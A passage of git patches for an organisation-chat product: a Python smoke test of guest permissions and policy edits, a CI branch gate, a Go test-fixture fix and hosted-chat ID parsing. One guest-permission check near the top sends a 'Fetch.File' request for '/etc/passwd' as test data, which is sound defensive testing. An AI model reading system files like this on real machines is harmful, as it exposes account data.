e.get('kind') == 'git' and e.get('chat') == chat_p and e.get('asker') == 'noor'] + check('P2-8 and each of those git lines in the owner\'s activity list names who was asking', len(git_lines) >= 1 and all(e.get('person') == 'kai' for e in git_lines), short(git_lines, 300)) steered = guest.call('Steer', {'text': 'noor-steering'}) check('P2-5 with that role a steer is no longer refused by the organization\'s server (the chat itself answers)', p2_error(steered) != GUEST_NEEDS_STEER and steered is not None, short(steered, 240)) for method, payload in (('StopWork', None), ('SetModel', 'x/y'), ('Fetch.File', {'path': '/etc/passwd'})): @@ -1568,36 +1599,42 @@ def noor_turn_in_transcript(): check('P2-5 the server does not close an open guest window because its role changed', not guest.closed, '') # Whether a non-owner may send prompts is a POLICY EDIT: take run out of `edit` and the very next message is refused (no code, no new grant). - code, policy_now = http('GET', ORG + '/v1/org/policy', operator) - trimmed = json.loads(json.dumps(policy_now)) if code == 200 and isinstance(policy_now, dict) else None - if trimmed: - for role in trimmed.get('roles', []): + def without_run(policy): + for role in policy.get('roles', []): if role.get('name') == 'edit': role['verbs'] = [v for v in role.get('verbs', []) if v != 'run'] - code, put = http('PUT', ORG + '/v1/org/policy', operator, trimmed) - check('P2-5 the operator takes run out of the edit role', code == 200, f'{code} {short(put, 160)}') - time.sleep(HEARTBEAT * 3 + 1) - refused = guest.call('Submit', {'text': 'noor-again'}) - check('P2-5 with run gone from the role the guest\'s next message is refused in the exact words', p2_error(refused) == GUEST_NEEDS_RUN, short(refused, 240)) - still = guest.call('Interrupt') - check('P2-5 and steering still goes through (it is another verb)', p2_error(still) != GUEST_NEEDS_STEER and still is not None, short(still, 200)) - code, put = http('PUT', ORG + '/v1/org/policy', operator, policy_now) - check('P2-5 the operator puts the policy back', code == 200, f'{code} {short(put, 160)}') - time.sleep(HEARTBEAT * 3 + 1) - - # A turn that is running can be interrupted by a guest who may steer. - started = [] - runner = threading.Thread(target=lambda: started.append((time.time(), chat(priya, 'bash: sleep 40; echo slept-the-full-time', session=chat_p, timeout=100), time.time())), daemon=True) - runner.start() + code, put = p2_put_policy(operator, without_run) + check('P2-5 the operator takes run out of the edit role', code == 200, f'{code} {short(put, 160)}') + time.sleep(HEARTBEAT * 3 + 1) + refused = guest.call('Submit', {'text': 'noor-again'}) + check('P2-5 with run gone from the role the guest\'s next message is refused in the exact words', p2_error(refused) == GUEST_NEEDS_RUN, short(refused, 240)) + still = guest.call('Interrupt') + check('P2-5 and steering still goes through (it is another verb)', p2_error(still) != GUEST_NEEDS_STEER and still is not None, short(still, 200)) + code, put = p2_restore_policy(operator, original_policy) + check('P2-5 the operator puts the policy back', code == 200, f'{code} {short(put, 160)}') + time.sleep(HEARTBEAT * 3 + 1) + + # A turn that is running can be interrupted by a guest who may steer: the owner's window starts a long one, the guest ends it early. + owner_two = Wire(kai, chat_p) + owner_two.hello(clientID='smoke-owner-2') if owner_two.status == 101 else None + began = time.time() + long_turn = owner_two.call('Submit', {'text': 'bash: sleep 40; echo slept-the-full-time'}, seconds=60) if owner_two.status == 101 else None + check('P2-5 the owner starts a long turn from their own window', long_turn is not None and not p2_error(long_turn), short(long_turn, 200)) time.sleep(8) interrupted = guest.call('Interrupt') check('P2-5 a guest who may steer can interrupt a running turn', interrupted is not None and not p2_error(interrupted), short(interrupted, 240)) - runner.join(100) - ran_for = (started[0][2] - started[0][0]) if started else 0 - check('P2-5 and the turn did stop early', bool(started) and 'slept-the-full-time' not in started[0][1][1], f'ran {ran_for:.0f}s: {short(started[0][1] if started else None, 200)}') + + def turn_ended(): + text = json.dumps(guest.call('Transcript')) + if 'STUB ran: slept-the-full-time' in text: + return 'full' + return 'early' if 'Command aborted' in text else None + outcome = wait_until(turn_ended, 30, 2) + check('P2-5 and the turn did stop early', outcome == 'early' and time.time() - began < 38, f'{outcome} after {time.time() - began:.0f}s') + owner_two.close() # Taking the access away ends the open window within a few heartbeats, in plain words. - p2_revoke(priya, chat_p, g_edit) + p2_revoke(kai, chat_p, g_edit) frames, closed = guest.drain_until_closed(HEARTBEAT * 8 + 5) check('P2-5 the guest\'s open window is ended after the access is removed', closed, f'{len(frames)} frames, closed {closed}') check('P2-5 and the last thing it was told is that its access was removed', any(f.get('kind') == 'fatal' and ACCESS_REMOVED in str(f.get('error', f)) for f in frames), short(frames[-2:], 240)) @@ -1608,32 +1645,32 @@ def noor_turn_in_transcript(): check('P2-1 and it left his shared list', chat_p not in p2_ids(listed, 'shared'), short(listed, 200)) # P2-4 and P2-9: what the operator is shown of a chat that the policy does not keep private, and never the wire. - code, policy = http('GET', ORG + '/v1/org/policy', operator) - original = json.loads(json.dumps(policy)) if code == 200 and isinstance(policy, dict) else None - check('P2-9 the operator reads the organization policy', original is not None, code) + original = original_policy if isinstance(original_policy, dict) else None + check('P2-9 the operator reads the organization policy', original is not None, '') if original is None: return - changed = json.loads(json.dumps(original)) - changed.setdefault('defaults', {})['session'] = {'visibility': 'owner'} - code, put = http('PUT', ORG + '/v1/org/policy', operator, changed) + code, put = p2_put_policy(operator, lambda policy: policy.setdefault('defaults', {}).__setitem__('session', {'visibility': 'owner'})) check('P2-4 the operator makes new chats visible as metadata (the default for chats is no longer private)', code == 200, f'{code} {short(put, 160)}') status, out, err = 0, '', '' - code, made = http('POST', ORG + '/v1/hosted/sessions', priya, {}) + code, made = http('POST', ORG + '/v1/hosted/sessions', kai, {}) visible = (made or {}).get('id', '') if isinstance(made, dict) else '' code, listed = http('GET', ORG + '/v1/hosted/sessions', operator) seen_rows = [r for r in (listed or {}).get('shared', []) if r.get('id') == visible] if isinstance(listed, dict) else [] check('P2-2 the operator lists that chat as metadata only (id, owner, how, state, times)', len(seen_rows) == 1 and set(seen_rows[0]) == LIST_OPERATOR_KEYS and seen_rows[0].get('access') == 'operator', short(seen_rows or listed, 300)) wire = wire_answer(operator, visible) check('P2-4 and the operator still cannot attach to it, or read it, from that role', wire[0] == 404 and NO_SUCH_CHAT in wire[1], wire) - code, back = http('PUT', ORG + '/v1/org/policy', operator, original) + code, back = p2_restore_policy(operator, original) check('P2-4 the operator puts the policy back', code == 200, f'{code} {short(back, 160)}') + http('POST', ORG + '/v1/hosted/sessions/%s/stop' % visible, kai, {}) + http('DELETE', ORG + '/v1/hosted/sessions/' + visible, kai) + code, made = http('POST', ORG + '/v1/hosted/sessions', kai, {}) + private_again = (made or {}).get('id', '') if isinstance(made, dict) else '' code, listed = http('GET', ORG + '/v1/hosted/sessions', operator) - check('P2-1 and the chat is gone from the operator\'s list again', visible not in p2_ids(listed, 'shared'), short(listed, 200)) - http('POST', ORG + '/v1/hosted/sessions/%s/stop' % visible, priya, {}) - http('DELETE', ORG + '/v1/hosted/sessions/' + visible, priya) + check('P2-1 and a chat made after the policy is put back is private to the operator again', private_again.startswith('hs_') and private_again not in p2_ids(listed, 'shared') + p2_ids(listed, 'sessions'), short(listed, 200)) + http('DELETE', ORG + '/v1/hosted/sessions/' + private_again, kai) # P2-6: a bot is its creator and no more, decided again at every request. - code, made = http('POST', ORG + '/v1/bots', priya, {'name': 'p2-smoke'}) + code, made = http('POST', ORG + '/v1/bots', kai, {'name': 'p2-smoke'}) bot = (made or {}).get('token', '') if isinstance(made, dict) else '' bot_id = ((made or {}).get('bot') or {}).get('id', '') if isinstance(made, dict) else '' check('P2-6 a person makes a bot', code in (200, 201) and bot.startswith('cbt_'), f'{code}') @@ -1644,7 +1681,7 @@ def noor_turn_in_transcript(): code, made = http('POST', ORG + '/v1/hosted/sessions', bot, {}) bot_chat = (made or {}).get('id', '') if isinstance(made, dict) else '' check('P2-6 the bot starts a chat', code in (200, 201) and bot_chat.startswith('hs_'), f'{code} {short(made, 160)}') - code, mine = http('GET', ORG + '/v1/hosted/sessions', priya) + code, mine = http('GET', ORG + '/v1/hosted/sessions', kai) check('P2-6 the bot\'s chat is its creator\'s', bot_chat in p2_ids(mine, 'sessions'), short(mine, 200)) for who, token in (('Noor', noor), ('the operator', operator)): code, other = http('GET', ORG + '/v1/hosted/sessions', token) @@ -1655,11 +1692,10 @@ def noor_turn_in_transcript(): code, refused = http('PUT', ORG + '/v1/hosted/keys/openrouter', bot, {'key': 'sk-not-from-a-bot'}) check('P2-6 and cannot store one', code in (401, 403) and BOT_REFUSED in json.dumps(refused), f'{code} {short(refused, 160)}') - code, g_bot = p2_grant(noor, chat_n, 'priya', 'view') - check('P2-6 Noor shares his chat with Priya (view)', code == 201 and bool(g_bot), f'{code}') + code, g_bot = p2_grant(noor, chat_n, 'kai', 'view') + check('P2-6 Noor shares his chat with Kai (view)', code == 201 and bool(g_bot), f'{code}') code, theirs = http('GET', ORG + '/v1/hosted/sessions', bot) - check('P2-6 the bot now lists Noor\'s chat under shared, as Priya does', chat_n in p2_ids(theirs, 'shared'), short(theirs, 240)) - status, out, err = chat(noor, 'bash: echo noor-first', session=chat_n) + check('P2-6 the bot now lists Noor\'s chat under shared, as Kai does', chat_n in p2_ids(theirs, 'shared'), short(theirs, 240)) bot_wire = Wire(bot, chat_n) welcome = bot_wire.hello(clientID='smoke-bot') if bot_wire.status == 101 else None check('P2-6 the bot attaches to the chat its creator may watch', bot_wire.status == 101 and welcome is not None and welcome.get('kind') == 'welcome', f'{bot_wire.status} {short(welcome, 160)}') @@ -1676,46 +1712,45 @@ def noor_turn_in_transcript(): code, gone = http('DELETE', ORG + '/v1/hosted/sessions/' + bot_chat, bot) check('P2-7 the bot can end its own chat', code in (200, 204), f'{code}') if bot_id: - http('DELETE', ORG + '/v1/bots/' + bot_id, priya) + http('DELETE', ORG + '/v1/bots/' + bot_id, kai) # P2-9: the hosting policy: reported in the list, changed only by the operator, refused when it is not one of the three words. def hosting(token, key='local_sessions'): code, body = http('GET', ORG + '/v1/hosted/sessions', token) return ((body or {}).get('hosting') or {}).get(key) if isinstance(body, dict) else None - check('P2-9 an organization with chats on starts at refuse', hosting(priya) == 'refuse', hosting(priya)) + check('P2-9 an organization with chats on starts at refuse', hosting(kai) == 'refuse', hosting(kai)) check('P2-9 and the words for it say chats do not start on this computer and point at the personal account', - 'do not start on this computer' in (hosting(priya, 'words') or '') and 'switch to your personal account' in (hosting(priya, 'words') or ''), hosting(priya, 'words')) + 'do not start on this computer' in (hosting(kai, 'words') or '') and 'switch to your personal account' in (hosting(kai, 'words') or ''), hosting(kai, 'words')) + def set_hosting(word): + return p2_put_policy(operator, lambda policy: policy.__setitem__('hosting', {'local_sessions': word})) for word, phrase in (('warn', 'not part of the organization\'s account'), ('allow', '')): - edited = json.loads(json.dumps(original)) - edited['hosting'] = {'local_sessions': word} - code, _ = http('PUT', ORG + '/v1/org/policy', operator, edited) - check(f'P2-9 the operator sets it to {word} and the list says {word}', code == 200 and hosting(priya) == word, f'{code} {hosting(priya)}') - words = hosting(priya, 'words') or '' + code, _ = set_hosting(word) + check(f'P2-9 the operator sets it to {word} and the list says {word}', code == 200 and hosting(kai) == word, f'{code} {hosting(kai)}') + words = hosting(kai, 'words') or '' check(f'P2-9 and its words are {"the warning" if phrase else "none"}', (phrase in words) if phrase else not words, words) - bad_edit = json.loads(json.dumps(original)) - bad_edit['hosting'] = {'local_sessions': 'sometimes'} - code, refused = http('PUT', ORG + '/v1/org/policy', operator, bad_edit) - check('P2-9 a word that is not allow, warn or refuse is refused in words and changes nothing', code in (400, 422) and 'allow, warn or refuse' in json.dumps(refused) and hosting(priya) == 'allow', f'{code} {short(refused, 200)}') - edited = json.loads(json.dumps(original)) + code, refused = set_hosting('sometimes') + check('P2-9 a word that is not allow, warn or refuse is refused in words and changes nothing', code in (400, 422) and 'allow, warn or refuse' in json.dumps(refused) and hosting(kai) == 'allow', f'{code} {short(refused, 200)}') + code, current = http('GET', ORG + '/v1/org/policy', operator) + edited = json.loads(json.dumps(current)) if isinstance(current, dict) else {} edited['hosting'] = {'local_sessions': 'warn'} - code, _ = http('PUT', ORG + '/v1/org/policy', priya, edited) - check('P2-9 a person who is not the operator cannot change it', code in (401, 403) and hosting(priya) == 'allow', f'{code}') - code, back = http('PUT', ORG + '/v1/org/policy', operator, original) - check('P2-9 the operator puts the policy back and the list reads refuse again', code == 200 and hosting(priya) == 'refuse', f'{code} {hosting(priya)}') + code, _ = http('PUT', ORG + '/v1/org/policy', kai, edited) + check('P2-9 a person who is not the operator cannot change it', code in (401, 403) and hosting(kai) == 'allow', f'{code}') + code, back = p2_restore_policy(operator, original) + check('P2-9 the operator puts the policy back and the list reads refuse again', code == 200 and hosting(kai) == 'refuse', f'{code} {hosting(kai)}') - P2_STATE.write_text(json.dumps({'priya_chat': chat_p, 'noor_chat': chat_n})) + P2_STATE.write_text(json.dumps({'kai_chat': chat_p, 'noor_chat': chat_n})) P2_STATE.chmod(0o600) def hosted_p2_after(): print('--- hosted chats P2 after every service restarted') - operator, priya, noor = sign_in('owner'), sign_in('priya'), sign_in('noor') - check('P2 the three people still sign in', bool(operator and priya and noor)) - if not (operator and priya and noor): + operator, kai, noor = sign_in('owner'), sign_in('kai'), sign_in('noor') + check('P2 the three people still sign in', bool(operator and kai and noor)) + if not (operator and kai and noor): return state = json.loads(P2_STATE.read_text()) - chat_p = state['priya_chat'] - code, mine = http('GET', ORG + '/v1/hosted/sessions', priya) + chat_p = state['kai_chat'] + code, mine = http('GET', ORG + '/v1/hosted/sessions', kai) check('P2-1 the owner still has the chat after the restart', chat_p in p2_ids(mine, 'sessions'), short(mine, 200)) for who, token in (('Noor', noor), ('the operator', operator)): code, other = http('GET', ORG + '/v1/hosted/sessions', token) diff --git a/deploy/org/smoke.sh b/deploy/org/smoke.sh index 94c3ca8df5..e002ba8bb4 100755 --- a/deploy/org/smoke.sh +++ b/deploy/org/smoke.sh @@ -94,7 +94,7 @@ if [ "$HOSTED" = 1 ]; then # rights, a bot is its creator and no more, and the policy says where chats may run. Needs a third person, invited by the section. run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-p2-prepare $DC exec -T codeaf cat /data/smoke-p2-ids.json | $DC exec -T sessionhost python3 $SMOKE hosted-seed || bad=1 - run codeaf '-e ORG_URL=http://127.0.0.1:8787' hosted-p2 + run codeaf '-e ORG_URL=http://127.0.0.1:8787 -e GITSTUB_TOKEN' hosted-p2 fi [ "$FULL" = 1 ] && run runner '' job From 6ad765eb2573de06c9ef43f618d5cd6b5d9a229e Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 15:55:25 -0500 Subject: [PATCH 087/176] ci: gate org/main, the hosted organisation feature line Pull requests into org/main and pushes to it run the same light gate and touched legs that dev gets, so the line can be called green before it is ever proposed for dev. Co-Authored-By: Claude Opus 5.5 --- .github/workflows/ci.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 5de940f757..14780bf10e 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -35,6 +35,12 @@ name: PR gate # every pull request into it was proven by one serial laptop-side `pr-ready` # lock, which queued forty lanes deep; listing it hands that proof to the # concurrent touched legs below, the same bar `dev` gets. +# +# `org/main` is the feature line of the hosted organisation work (2026-11-24): +# the org server, hosted chats and the self-hosting stack collect there and +# stay out of `dev` until after the WorkAF release. It is listed for the same +# reason `santosh/work` is — a line work lands on that nothing gates is a line +# nobody can say is green. on: pull_request: branches: @@ -42,6 +48,7 @@ on: - app/v3 - santos/dev2 - santosh/work + - org/main # Also on the push, because a merge of two individually-green branches can # still be red, and the merge is exactly the moment nobody is watching. push: @@ -49,6 +56,7 @@ on: - dev - santos/dev2 - santosh/work + - org/main workflow_dispatch: permissions: From a6f9cc16702ffa2e15e82669f09e004742abcb8d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 16:07:39 -0500 Subject: [PATCH 088/176] cmd/codeaf: the runner-join test's link outlives its lab clock TestRunnerJoinRegistersTheMachineAsThePersonsRunnerAndStopsWithItsContext failed about one run in four on this branch and every time in CI, with the runner list answering "factory refused the request" for twenty seconds. A request trace showed why. The lab's service clock runs six seconds ahead on every read. Since a team factory stopped trusting its own computer by default (loopback_trust off), every runner attach is decided by the runner's session, which reads the clock several times per request, and the runner attaches in a burst. The person's session lives only as long as the uncounted link row it was minted from, and that row had one hour on it: about thirty attaches carried the clock past the hour, the session ended ("factory session has ended; sign in again", then "this link is not recognized"), and the test's own list request was refused from then on. Under the old loopback door the attach read no clock, so the hour was never reached. The code is right: a session that has ended must not attach a runner, and that is exactly what turning loopback_trust off asks for. The fixture was wrong, so the link now lasts a year, which no number of reads can reach. The contract the test names is unchanged: a joined runner registers as the person and shows on the runner list. Before: 2 of 14 and 6 of 20 focused runs failed. After: 40 of 40 pass. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/runner_command_test.go | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/cmd/codeaf/runner_command_test.go b/cmd/codeaf/runner_command_test.go index af52daa9aa..4a49c4b9c9 100644 --- a/cmd/codeaf/runner_command_test.go +++ b/cmd/codeaf/runner_command_test.go @@ -269,7 +269,16 @@ func TestRunnerJoinRunsTheWorkerByDefaultAndNotWhenAttachOnly(t *testing.T) { // runner registers as that person, shows on the factory's runner list, and // leaves when it is stopped. No model is asked and no job is run. func TestRunnerJoinRegistersTheMachineAsThePersonsRunnerAndStopsWithItsContext(t *testing.T) { - lab := newRunnerLab(t, "Priya", time.Now().Add(time.Hour)) + // THE LINK OUTLIVES THE LAB'S CLOCK. That clock runs six seconds ahead on + // every read, and a running runner reads it on every request: a team + // factory that does not trust its own computer (loopback_trust off, the + // default) asks the runner's session on every attach, and that session + // lives only as long as the uncounted link it was minted from. With an + // hour on the link, a burst of attaches carried the clock past it before + // the first poll below, the person's session ended ("factory session has + // ended; sign in again"), and the runner list refused for the rest of the + // twenty seconds. A year cannot be reached by any number of reads here. + lab := newRunnerLab(t, "Priya", time.Now().Add(365*24*time.Hour)) got, err := joinFactory(context.Background(), lab.link, "", "ci-box", "", io.Discard) if err != nil { t.Fatal(err) From af59a8837a0ca81d3cea75300c0a3566b75ee896 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 17:07:14 -0500 Subject: [PATCH 089/176] remote: keep the sentence a server refused with, and let history and stop say it Co-Authored-By: Claude Sonnet 5.5 --- internal/remote/client.go | 38 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/internal/remote/client.go b/internal/remote/client.go index ceffe10ddd..05e5d0e7ef 100644 --- a/internal/remote/client.go +++ b/internal/remote/client.go @@ -845,6 +845,15 @@ type spokenError struct{ reason string } func (e spokenError) Error() string { return e.reason } +// RefusalSentence gives a handshake's spoken refusal without transport details. +func RefusalSentence(err error) (string, bool) { + var refused spokenError + if errors.As(err, &refused) { + return refused.reason, true + } + return "", false +} + // write puts one frame on the wire, whole, under the writer's lock. The pipe is // read fresh every time because a roaming client replaces it, and a writer // holding the one it was born with would be writing into a link that is gone. @@ -2154,8 +2163,12 @@ func (a *Agent) InterruptFor(door session.StopDoor) { // InterruptWithin is a person's stop with its bound on it: the engine abandons // a turn that has not let go by then ([InterruptArgs]). Like every stop it // does not wait and reports nothing. -func (a *Agent) InterruptWithin(grace time.Duration) { - _, _ = a.c.call(nil, MethodInterrupt, InterruptArgs{Door: string(session.StopByPerson), Within: grace.Milliseconds()}) +func (a *Agent) InterruptWithin(grace time.Duration) { _ = a.InterruptWithinErr(grace) } + +// InterruptWithinErr carries back the engine's refusal when the caller needs to show it. +func (a *Agent) InterruptWithinErr(grace time.Duration) error { + _, err := a.c.call(nil, MethodInterrupt, InterruptArgs{Door: string(session.StopByPerson), Within: grace.Milliseconds()}) + return err } // AnswerLaneOffer answers the question a stalled PINNED lane raises: the @@ -2541,6 +2554,27 @@ func (a *Agent) EarlierHistory() session.EarlierHistory { return history } +// ReadHistory reads the display record and preserves any refusal from the server. +func (a *Agent) ReadHistory() (session.Record, error) { + var earlier session.EarlierHistory + if err := a.readHistoryPart(MethodEarlier, &earlier); err != nil { + return session.Record{}, err + } + var entries []session.DisplayEntry + if err := a.readHistoryPart(MethodTranscript, &entries); err != nil { + return session.Record{}, err + } + return session.Record{Earlier: earlier.Entries, Floor: earlier.Floor, Entries: entries}, nil +} + +func (a *Agent) readHistoryPart(method string, out any) error { + payload, err := a.c.call(nil, method, nil) + if err != nil || len(payload) == 0 { + return err + } + return json.Unmarshal(payload, out) +} + // RewindPoints is every place the conversation can be cut. It is half of the // OPTIONAL pair internal/tui3's rewind.go type-asserts for, and this agent // implements it so a remote session rewinds exactly like a local one. From 5c5f95e367cc4588ac2af7b496243e89527fb122 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 17:07:14 -0500 Subject: [PATCH 090/176] appwire: the agents.hosted word, org on create, hosted facts on an agent, and agents.hosted_list Co-Authored-By: Claude Sonnet 5.5 --- docs/design/app-v3/PROTOCOL.md | 14 +++ internal/appwire/hosted.go | 161 ++++++++++++++++++++++++++++++++ internal/appwire/hosted_test.go | 73 +++++++++++++++ internal/appwire/server.go | 13 ++- internal/appwire/wire.go | 2 + 5 files changed, 261 insertions(+), 2 deletions(-) create mode 100644 internal/appwire/hosted.go create mode 100644 internal/appwire/hosted_test.go diff --git a/docs/design/app-v3/PROTOCOL.md b/docs/design/app-v3/PROTOCOL.md index 894f6e7ac4..981e7eb258 100644 --- a/docs/design/app-v3/PROTOCOL.md +++ b/docs/design/app-v3/PROTOCOL.md @@ -56,6 +56,7 @@ decides which combinations are accepted. | `agents.entries` | `in.EntriesParams` | `EntriesResult` | | `agents.errand` | `in.ErrandParams` | `Errand` | | `agents.errand.models` | `in.ErrandModelsParams` | `ErrandModels` | +| `agents.hosted_list` | `{org}` | `HostedListResult` | | `agents.idle` | `{days}` | `IDsResult` | | `agents.labels` | `{ids}` | `AgentLabels` | | `agents.list` | `in.AgentsListParams` | `AgentsResult` | @@ -86,6 +87,19 @@ decides which combinations are accepted. | `agents.stop` | `in.IDParams` | `Empty` | | `agents.suggest_reply` | `in.ReplySuggestionParams` | `ReplySuggestion` | +The `agents.hosted` feature enables `agents.hosted_list` and the optional +`org` connection ID on `agents.create`. The hosted list returns the caller's +own and shared chats, newest first. Its `available` field is true when the +organization's server serves hosted chats. A server with hosted chats off +returns an empty `agents` array and `available: false`. The server's +`hosting` policy object is included when supplied. Authentication failures +answer `signed_out` and transport failures answer `unreachable`. + +Hosted rows carry `hosted` facts and use a self-describing +`_` ID. `agents.open` attaches that session's wire and +`agents.close` releases it. Use `agents.stop` to interrupt its current turn. +`agents.list` stays scoped to chats on this computer. + `agents.stop` is a bounded stop. It interrupts the running turn and answers at once; a turn that has still not let go ten seconds later (one parked on a wait that never reads its cancelled context) is abandoned by the engine: its stream diff --git a/internal/appwire/hosted.go b/internal/appwire/hosted.go new file mode 100644 index 0000000000..8c99b5a776 --- /dev/null +++ b/internal/appwire/hosted.go @@ -0,0 +1,161 @@ +package appwire + +import ( + "bytes" + "encoding/json" + "regexp" + "strings" +) + +// FeatureAgentsHosted tells the app it can work with chats on its organization's server. +const FeatureAgentsHosted = "agents.hosted" + +// HostedChats is the optional engine capability for organization chats. +type HostedChats interface { + HostedList(org string) (HostedListResult, error) +} + +// HostedListResult carries the organization's chats and its server's hosting policy. +type HostedListResult struct { + Agents []Agent `json:"agents"` + Available bool `json:"available"` + Hosting map[string]json.RawMessage `json:"hosting,omitzero"` +} + +// HostedFacts describes the caller's access to a chat on their organization's server. +type HostedFacts struct { + Org string `json:"org"` + Session string `json:"session"` + Owner string `json:"owner,omitempty"` + Role string `json:"role,omitempty"` + Verbs []string `json:"verbs"` + Note string `json:"note,omitempty"` +} + +const ( + hostedSessionPrefix = "hs_" + hostedSessionIDSize = len(hostedSessionPrefix) + 24 +) + +var hostedConnectionID = regexp.MustCompile(`^[A-Za-z0-9_-]{1,64}$`) + +// ValidHostedSessionID checks a server's chat name before using it in a path. +func ValidHostedSessionID(session string) bool { + if len(session) != hostedSessionIDSize || !strings.HasPrefix(session, hostedSessionPrefix) { + return false + } + for _, c := range session[len(hostedSessionPrefix):] { + if (c < '0' || c > '9') && (c < 'a' || c > 'f') { + return false + } + } + return true +} + +// HostedAgentID joins a server's chat name and the connection through which it is reached. +func HostedAgentID(session, connection string) string { return session + "_" + connection } + +// ParseHostedAgentID reads the fixed-length session prefix because both names may contain underscores. +func ParseHostedAgentID(id string) (session, connection string, ok bool) { + if len(id) <= hostedSessionIDSize || id[hostedSessionIDSize] != '_' { + return "", "", false + } + session, connection = id[:hostedSessionIDSize], id[hostedSessionIDSize+1:] + if !ValidHostedSessionID(session) || !hostedConnectionID.MatchString(connection) { + return "", "", false + } + return session, connection, true +} + +func withHostedFeatures(hello Hello, e Engine) Hello { + if _, ok := e.(HostedChats); ok { + hello = withFeature(hello, FeatureAgentsHosted) + } + return hello +} + +func init() { + methods["agents.hosted_list"] = typed(func(e Engine, p struct { + Org string `json:"org"` + }) (*HostedListResult, error) { + hosted, ok := e.(HostedChats) + if !ok { + return nil, Errorf(CodeUnknownMethod, "this engine does not serve agents.hosted_list") + } + if _, err := required("org", p.Org); err != nil { + return nil, err + } + result, err := hosted.HostedList(p.Org) + result.Agents = nonNil(result.Agents) + return &result, err + }) +} + +// hostedActionRefuser keeps local-only methods from interpreting a hosted id as a +// local folder, process, or inventory reference. The backend names the host. +type hostedActionRefuser interface { + RefuseHostedAction(org string) error +} + +func hostedActionRefusal(e Engine, name string, raw json.RawMessage) error { + switch name { + case "agents.open", "agents.entries", "agents.send", "agents.stop", "agents.close", + "asks.list", "asks.answer", MethodAnswerSecret: + return nil + } + door, ok := e.(hostedActionRefuser) + if !ok || (!bytes.Contains(raw, []byte(hostedSessionPrefix)) && !bytes.Contains(raw, []byte(`\u`))) { + return nil + } + var params map[string]any + if json.Unmarshal(raw, ¶ms) != nil { + return nil + } + if org := hostedActionOrg(params); org != "" { + return door.RefuseHostedAction(org) + } + return nil +} + +func hostedActionOrg(params map[string]any) string { + for name, value := range params { + switch strings.ToLower(name) { + case "id", "ids", "agent", "agents", "manager", "member", "members", "owner", "chat", "chats", + "cell", "session", "session_id", "local_agent", "run_agent", "agent_id", "from_chat": + if org := hostedActionReference(value); org != "" { + return org + } + } + // Batches and resource references can carry the agent inside another object. + switch nested := value.(type) { + case map[string]any: + if org := hostedActionOrg(nested); org != "" { + return org + } + case []any: + for _, item := range nested { + if object, ok := item.(map[string]any); ok { + if org := hostedActionOrg(object); org != "" { + return org + } + } + } + } + } + return "" +} + +func hostedActionReference(value any) string { + switch refs := value.(type) { + case string: + _, org, _ := ParseHostedAgentID(refs) + return org + case []any: + for _, ref := range refs { + if org := hostedActionReference(ref); org != "" { + return org + } + } + } + return "" +} diff --git a/internal/appwire/hosted_test.go b/internal/appwire/hosted_test.go new file mode 100644 index 0000000000..5f8ade3a7f --- /dev/null +++ b/internal/appwire/hosted_test.go @@ -0,0 +1,73 @@ +package appwire + +import ( + "strings" + "testing" +) + +func TestHostedAgentIDShape(t *testing.T) { + const session = "hs_0123456789abcdef01234567" + for _, tc := range []struct { + name, id, org string + }{ + {"factory", session + "_factory_0123456789abcdef", "factory_0123456789abcdef"}, + {"connection punctuation and case", session + "__Org-1_", "_Org-1_"}, + {"one character", session + "_X", "X"}, + {"longest connection", session + "_" + strings.Repeat("x", 64), strings.Repeat("x", 64)}, + {"missing separator", session + "factory_0123456789abcdef", ""}, + {"session alone", session, ""}, + {"empty connection", session + "_", ""}, + {"short session", session[:len(session)-1] + "_factory", ""}, + {"long session", session + "a_factory", ""}, + {"uppercase session", "hs_0123456789ABCDEF01234567_factory", ""}, + {"nonhex session", "hs_0123456789abcdef0123456g_factory", ""}, + {"illegal connection", session + "_a/b", ""}, + {"nonascii connection", session + "_é", ""}, + {"oversize connection", session + "_" + strings.Repeat("x", 65), ""}, + {"ordinary id", "saved-local-chat", ""}, + } { + t.Run(tc.name, func(t *testing.T) { + s, org, ok := ParseHostedAgentID(tc.id) + if tc.org == "" { + if ok || s != "" || org != "" { + t.Fatalf("ParseHostedAgentID(%q) = %q, %q, %t", tc.id, s, org, ok) + } + return + } + if !ok || s != session || org != tc.org || HostedAgentID(s, org) != tc.id { + t.Fatalf("ParseHostedAgentID(%q) = %q, %q, %t", tc.id, s, org, ok) + } + }) + } +} + +func TestHostedV4OldEngineKeepsPersonalCreate(t *testing.T) { + engine := &fakeEngine{} + w := startWire(t, engine) + data := w.next()["data"].(map[string]any) + if features, ok := data["features"].([]any); ok { + for _, feature := range features { + if feature == "agents.hosted" { + t.Fatal("an engine without hosted chats advertised them") + } + } + } + + w.send(`{"id":1,"method":"agents.create","params":{"text":"A personal chat."}}`) + row := w.next()["result"].(map[string]any)["agent"].(map[string]any) + if row["id"] != "new" || row["hosted"] != nil { + t.Fatalf("personal create = %v", row) + } + for _, method := range []string{"agents.create", "agents.hosted_list"} { + w.send(`{"id":2,"method":"` + method + `","params":{"org":"factory_0123456789abcdef","text":"Wrong window."}}`) + got := w.next()["error"].(map[string]any) + if got["code"] != CodeUnknownMethod { + t.Fatalf("%s = %v", method, got) + } + } + engine.mu.Lock() + defer engine.mu.Unlock() + if engine.created.Text != "A personal chat." || engine.created.Org != "" { + t.Fatalf("the old engine received a hosted create: %+v", engine.created) + } +} diff --git a/internal/appwire/server.go b/internal/appwire/server.go index 8d0006cb3e..4f80fad54b 100644 --- a/internal/appwire/server.go +++ b/internal/appwire/server.go @@ -205,6 +205,7 @@ func (s *Server) Serve(ctx context.Context, in io.Reader, hello Hello, engine En hello = withSlashCatalogFeature(hello, engine) hello = withSyncFeatures(hello, engine) hello = withSkillsFeatures(hello, engine) + hello = withHostedFeatures(hello, engine) hello = withPluginsFeature(hello, engine) hello = withHealthFeature(hello, engine) hello = 